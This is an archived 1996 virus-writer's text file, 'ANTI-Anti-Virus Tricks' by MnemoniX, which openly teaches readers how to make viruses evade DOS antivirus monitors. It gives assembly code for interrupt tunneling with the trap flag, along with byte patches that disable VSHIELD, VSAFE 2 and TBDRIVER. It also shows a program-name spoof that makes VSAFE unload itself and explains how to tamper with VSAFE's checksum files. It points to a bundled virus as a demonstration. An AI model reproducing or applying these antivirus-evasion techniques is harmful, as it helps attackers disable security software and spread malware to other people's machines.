HaCKeRz Kr0nlcKLeZ 1

home *** CD-ROM | disk | FTP | other *** search

/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / anti-av.txt < prev next >

Wrap

Text File | 1996-04-22 | 21.2 KB | 432 lines

ANTI-Anti-Virus Tricks by MnemoniX Version 1.00 - 1/96 Improved antivirus programs got you down? Don't worry - with the help of this file you can create a virus that will surpass the protection of most computers out there, computers whose hapless users are convinced are truly "protected." Before we begin, I must first introduce the concept of ... *********************** * RECURSIVE TUNNELING * *********************** Recursive tunneling is the practice of tracing the code attached to a particular interrupt and finding the original DOS or BIOS code, surpassing all resident programs (AV monitors included.) This involves using the trap flag in the flags register, which can be turned on with the following code: mov ax,100h ; set bit 8 (trap flag) push ax popf Once this trap flag is set, a type 1 interrupt is generated after each instruction. We can catch this interrupt and trace the interrupt 21h code, for example, by calling interrupt 21 with the trap flag on. (Note that you must CALL the interrupt 21h routine, and not run it using INT 21h; otherwise, the trap flag is automatically turned off when the INT instruction is run.) To find the original DOS or BIOS code, then, one must: 1) Attach a tunneling routine to interrupt 1. 2) Find the original segment of the DOS or BIOS code we are tracing. (there are various ways to do this) 3) Set the trap flag. 4) Call the interrupt routine (NOT with an INT). Do it like this: xor ax,ax mov ds,ax pushf call dword ptr ds:[21h * 4] ; calls INT 21h 5) Tunneling routine should trace code until original DOS or BIOS segment is reached by continually checking segment of current instruction. Once DOS or BIOS segment is reached, the current offset must be saved and tunneling routine stops checking code. 6) Clear trap flag by clearing bit 8 in flags. When address of original interrupt is found, the interrupt may be called without the resident programs in memory knowing anything about it. A note: The trap flag may be turned off by a POPF or IRET instruction, which will screw up your routine. To prevent this, you must check the current instruction and see if it is a POPF or IRET. If so, we must set bit 8 of the flags value on the stack BEFORE the POPF or IRET is processed, to make sure the trap flag stays set. (An interrupt call saves the flags value on the stack, and thus the flags are popped after CS:IP when an IRET instruction is run. In case you didn't know.) Similarly, you can partially hide the existence of your tunneling routine. Whenever an INT, INTO, or PUSHF instruction is reached, you can alter the value on the stack after the instruction is run. This is generally not necessary, however, and does not totally hide the tunneling routine anyway - there are many other ways to generate an interrupt, thus causing the flags value to be saved and the trap discovered. Recursive tunneling will enable you to engage in questionable actions without knowledge of AV programs. However, this does not render these actions undetectable. TBDRIVER, for example, can detect and warn the user of a recursive tunneling routine. And although VSAFE can't find a tunneling rou- tine, it can detect changes to a program when the program is run again. So what does one do to make these programs look the other way? This is where we introduce the concept of ... ************ * PATCHING * ************ Patching involves fixing up a resident program to alter its perfor- mance. If a hypothetical program is to scan for viruses every time a program is run, it could capture interrupt 21h, and somewhere along the line it could use code like this to scan every program being run : int_21_code: ; called when interrupt 21h is called cmp ah,4Bh ; is a program being executed? je scan_program ; if so, scan it jmp original_int_21 ; if not, ignore it This program's ability to scan for viruses is dependent upon the JE instruction that checks for every call to interrupt 21h with AH=4Bh (the DOS program execution function.) Now, if you wanted to deactivate this program, you could search for this little snippet of code when you tunnel through interrupt 21h, and upon finding it, change the two-byte JE instruction into two NOP's: int_21_code: cmp ah,4Bh ; is a program being executed? nop ; doesn't matter, because even if it nop ; was we would return to the original ; interrupt 21h anyway jmp original_int_21 ; see? After this is done, the program won't find ANY viruses, and it becomes a waste of memory - all because two bytes were changed! Note that if this same program caught interrupt 13h, or also checked programs as they were opened, it would still do these things. We have simply prevented the program from checking programs as they are executed. In many cases, a single patch like this will suffice. This is the essence of patching, and an example of using patching in a tunneling routine to deactivate certain popular AV programs is found in the program AV-KILL.ASM. This checks for the existence of TBDRIVER, VSAFE, and VSHIELD in memory, and patches them if they are found. And now, I will discuss the various ways to defeat individual virus scanners. I should note that these are based on SPECIFIC VERSIONS of SPECIFIC MONITORS, and will NOT work for every version of every monitor. These may be updated as new monitors come out. ******************** * VSHIELD (McAfee) * ******************** Do you really need to guard against VSHIELD? Well, a new virus will never be detected by VSHIELD, but future versions may be able to scan for that same virus. Fortunately, VSHIELD is quite easy to disarm and render useless. PATCHING VSHIELD This patch will prevent VSHIELD from detecting any viruses. This was tested on VSHIELD V106 - an old version - and probably will not work on every version, but what the hell. There is a portion of the code which looks like this: 80 FC 0E cmp ah,0E 74 06 je 0A1C 80 FC 4B cmp ah,4B 74 09 je 0A24 To fix this up, you can : replace the first byte (80) with CB (a RET) OR replace the second JZ (74 09) with two NOP's (90 90) Either way VSHIELD will no longer scan files as they are executed. How can you get the original host program past VSHIELD, before VSHIELD has been patched? Just encrypt it or PKLITE it. Simple enough. **************************************************** * VSAFE versions 1 and 2 (Central Point/Microsoft) * **************************************************** While VSAFE 1.0 was conquered a long time ago, not much seems to have been done to hack VSAFE 2. Making a virus or hacked program VSAFE-resistant will make it much more viable, since it is a popular AV monitor. The old tricks that could be played on VSAFE 1 (which was pure crapware) no longer work like they used to. Here is what I was able to find though a little bit of investigation ... (BTW, this was tested on MSAV 1.0 and CPAV 2.2. It should be similar for other versions except where noted.) Firstly, as with all versions, one can check for the presence of VSAFE in memory with the following code: mov ax,0FA00h mov dx,5945h ("VS") int 16h If DI = 4559h ("SV"), VSAFE is present. Functions 16/FA03 and 16/FA08 will return constant values whose significance is unbeknownst to me - they don't seem to be version numbers. Next, the old trick which deinstalled VSAFE, which was the same as the above code except AX = FA01h, won't cut it anymore. Nor will it change the VSAFE flags anymore when AX = FA02h. Does this mean that the you can no longer make VSAFE turn the other way? Hardly - there are still ways around it. (Remember, _no_ program is immune to being duped.) The two functions to deinstall or change VSAFE options are still there, but now there's a twist: It checks to see which program is running before it will act. This is a pain to get around, but not impossible. You can find the name of the current resident program in the DOS environment, which is found by getting the DOS environment segment (at offset 2Ch in the PSP), finding the name of the current program (the environment table is at offset 0, then two zero bytes signal the end of it, and then there's another two bytes, after which the name of the current program is found) and changing it to "\VSAFE.EXE". Actually, you don't even need to go to all that trouble. You see, VSAFE doesn't actually check the filename; it just makes a checksum of the letters in the filename minus extension. I am hesitant to go into the details of this now; if you want to see how the checksum works examine it yourself. Suffice it to say that if, before the period in the filename, you insert the three-byte hex string 5CFF76, VSAFE will think it's being loaded. Do I hear cries for an example? mov ax,ds:[2Ch] ; get environment segment mov es,ax xor di,di ; after the table of environ- mov cx,17D0h ; ment strings, we will find xor al,al ; the current program name find_environ_end: repnz scasb ; scan through environment cmp byte ptr es:[di],0 ; end of table? jnz find_environ_end add di,3 ; address of program name mov al,'.' ; find extension repnz scasb ; extension found mov si,es:[di - 3] ; save orig. program name mov es:[di - 3],76FFh ; modify program name mov bh,es:[di - 4] ; make VSAFE think it is mov byte ptr es:[di - 4],5Ch ; calling itself ; VSAFE 2 may now be unloaded mov ax,0FA01h ; unload VSAFE mov dx,5945h int 16h ; fix up program name again mov es:[di - 3],si ; replace orig. program name mov es:[di - 4],bh Here is a listing of all the VSAFE functions you need to know. (All functions called by INT 16h with DX = 5945h) AX = FA00h - Test for VSAFE resident DI=4559h on return is res. AX = FA01h - Deinstall VSAFE AX = FA02h - Change VSAFE flag settings BL=bits 0-7 represent settings for flags 1-8, resp. on return, CL holds previous flag setting AX = FA05h - Turn popup menu on/off BL=0 (on) or 1 (off) Version 2 checks name of program currently running before executing functions FA01, FA02 or FA05. Deinstalling VSAFE works well if nothing is loaded after it in memory. However, this may not be the case, and if other programs are loaded VSAFE gives an error message. Hence I don't consider this the best way to deactivate the program. A better way would be to patch up VSAFE as described below, and upon writing the disk, save the VSAFE flags and switch them all off, then restore when done. This should keep it quiet. If you're too lazy to mess around with that, there's an even easier way. The flag status byte in VSAFE 2 is located at offset 0F1Dh in the code, and you can modify it directly upon finding VSAFE's segment (check INT 16h's segment.) This particular method will only work for version 2.2; the address is probably different for other versions. Moving on, one will find that the old CHKLIST.CPS files have now been replaced by SMARTCHK.CPS files, which have a different format. (The MSAV equivalents of these files are CHKLIST.MS and SMARTCHK.MS, respectively.) Each record is 60 bytes long, and consists of the following data: Data Offset Length ---------------------------------------------- ASCIIZ filename 0 13 File attributes 13 1 File size 14 4 File time 18 2 File date 20 2 First 32 bytes of file 22 32 Checksum data 54 4 Apparently always set to zero. 58 2 Now, a VSAFE-smart virus could increase its stealthiness by modifying this data, which isn't as much of a pain as it may sound. It could modify the filenames, so VSAFE no longer properly checks the programs. A more ambitious programmer could look for the filename, change the first few recorded bytes of the file, change the date, and fix the checksum. But how do we calculate the checksum, you ask? Good question. The checksum routine in VSAFE 2 is long and complicated. (In case you were wondering, the VSAFE 1.0 checksum can be calculated like this: DS:SI = offset of first 64 bytes of file (or if file is < 64 bytes long, the entire file) BX = high word of 32-bit checksum DX = low word of 32-bit checksum CX = 64 (for loop) or size of file if < 64 bytes AH = 0 (for addition) vsafe_checksum: lodsb ; add first byte add dx,ax adc bx,0 lodsb ; subtract second byte sub dx,ax sbb bx,0 lodsb ; XOR third byte by first checksum xor dl,al ; byte only sub cx,3 cmp cx,2 ja vsafe_checksum The finished checksum is in BX:DX.) I haven't figured out the VSAFE 2 checksum routine yet - it's much more complicated. But you're welcome to look. The included UNSAFE.ASM program is a virus, and demonstrates the manipulation of VSAFE flags and corruption of SMARTCHK.CPS files. As a demonstration, try setting the write protect flag on, and then infect a few files. VSAFE will not warn you of the write, because the flags are temporarily turned off by the virus when it spreads. Examine and learn. PATCHING VSAFE When VSAFE 2.2 is installed, it installs a routine onto interrupt 21h which checks for different DOS calls, as all monitors do. There is a portion of the interrupt 21 code which looks like this : 80 FC 4B cmp ah,4B ; this catches the DOS execute program 74 62 jz 0BAF ; call so VSAFE can do program checks 80 FC 4C cmp ah,4C ; this catches a DOS terminate program 74 33 jz 0B85 ; call so VSAFE can check memory 80 FC 00 cmp ah,0 ; another terminate program call check 74 15 jz 0B6C If we set the trap flag, set AH to 99h (or any nonexistent function call), call interrupt 21 and scan the code with a tracing routine, we will eventually find this point. Once we do, it's quite simple to eliminate VSAFE checks when a program begins and ends: 80 FC 4B cmp ah,4B 90 nop ; the JZ's have been replaced with two 90 nop ; NOP's each ... VSAFE will no longer 80 FC 4C cmp ah,4C ; check programs as they are run, 90 nop ; or check memory when a program 90 nop ; terminates, because it won't know 80 FC 4C cmp ah,0 ; when these things happen anymore. 90 nop 90 nop (A brief note: A program can also terminate via interrupt 20h, and VSAFE _will_ check memory if a program terminates this way. This interrupt is more difficult to tunnel - once the DOS segment is reached, the tunneling must be stopped - but it is not impossible. A similar patch could be created to solve the problem.) *************** * Thunderbyte * *************** TB MONITORS All TB monitors work through TBDRIVER and hook the critical interrupts 21h,13h, and 40h. These same monitors can be defeated by recursive tunneling if TBDRIVER's ability to detect such tunneling is deactivated, however. TBDRIVER'S DETECTION OF RECURSIVE TUNNELING TBDRIVER is resistant to most recursive tunneling. When an interrupt 21 is called, TBDRIVER checks the status of the trap flag for a recursive tunneling routine and will display a message if it is found to be set. The code that does this appears virtually impenetrable, and looks like this: (This is from TBDRIVER version 6.14; it may be different now but the idea is basically the same.) cli ; clear interrupts to prevent pushf ; interference ... cld push ax ; what this, in essence, does is push bx ; that is saves a value on the stack, xchg ax,bx ; pops it, decrements the stack ptr. pop ax ; to point to it again, pops it again, dec sp ; and if the value changed, an int- dec sp ; errupt must have occured. Since the pop bx ; interrupt flag is off, the only cmp ax,bx ; interrupt this could be is a type 1 - pop bx ; the trap flag interrupt routine. jz 02A1 ; If two values popped are different, ; it warns the user. PATCHING TBDRIVER Now, there is no way to fool this routine. You can't hide the change to the value on the stack. However, you _can_ scan for this code in your tunneling routine, and modify it if it is found. You could look, for example, for the following code in the interrupt 21 routine: 5C pop bx 3B C3 cmp ax,bx 5B pop bx 74 0D jz 02A1 If we find the string 5C 3B C3 5B 74 0D, we know TBDRIVER is present. The next step is modifying the code to make it useless. The JZ instruction is the test. If AX and BX are equal, then the Z flag is set, and if the Z flag is set, the code is not being traced as far as TBDRIVER is concerned. Hence, you want it to act as though the Z flag was _always_ set. You could do this by changing the instruction to a JMP: EB 0D jmp 02A1 Now you find the original offset of DOS's interrupt 21 with the same tunneling routine, and call it directly, bypassing all TB utilities. DISABLING TBSCANX Earlier versions of TBSCANX hook INT 2Fh when they load, and install the following functions : AX = CA00h Test for installation (return FF in AL if res.) BX = 'TB' ('tb' on return if resident) AX = CA04h Scan file DS:DX = program to be scanned (carry set means infected, ES:BX=filename) With a little work and a good debugger, you can trace the code of other AV monitors and find similar code in the interrupt 21h or 13h routines. If you know what you're doing, you could create similar patches to the ones above for these monitors. The same could be done with non-resident virus scanners, although this is a more difficult job, and not really worth it in my opinion since most good scanners check themselves and probably won't find any _good_ new virus anyway. - MnemoniX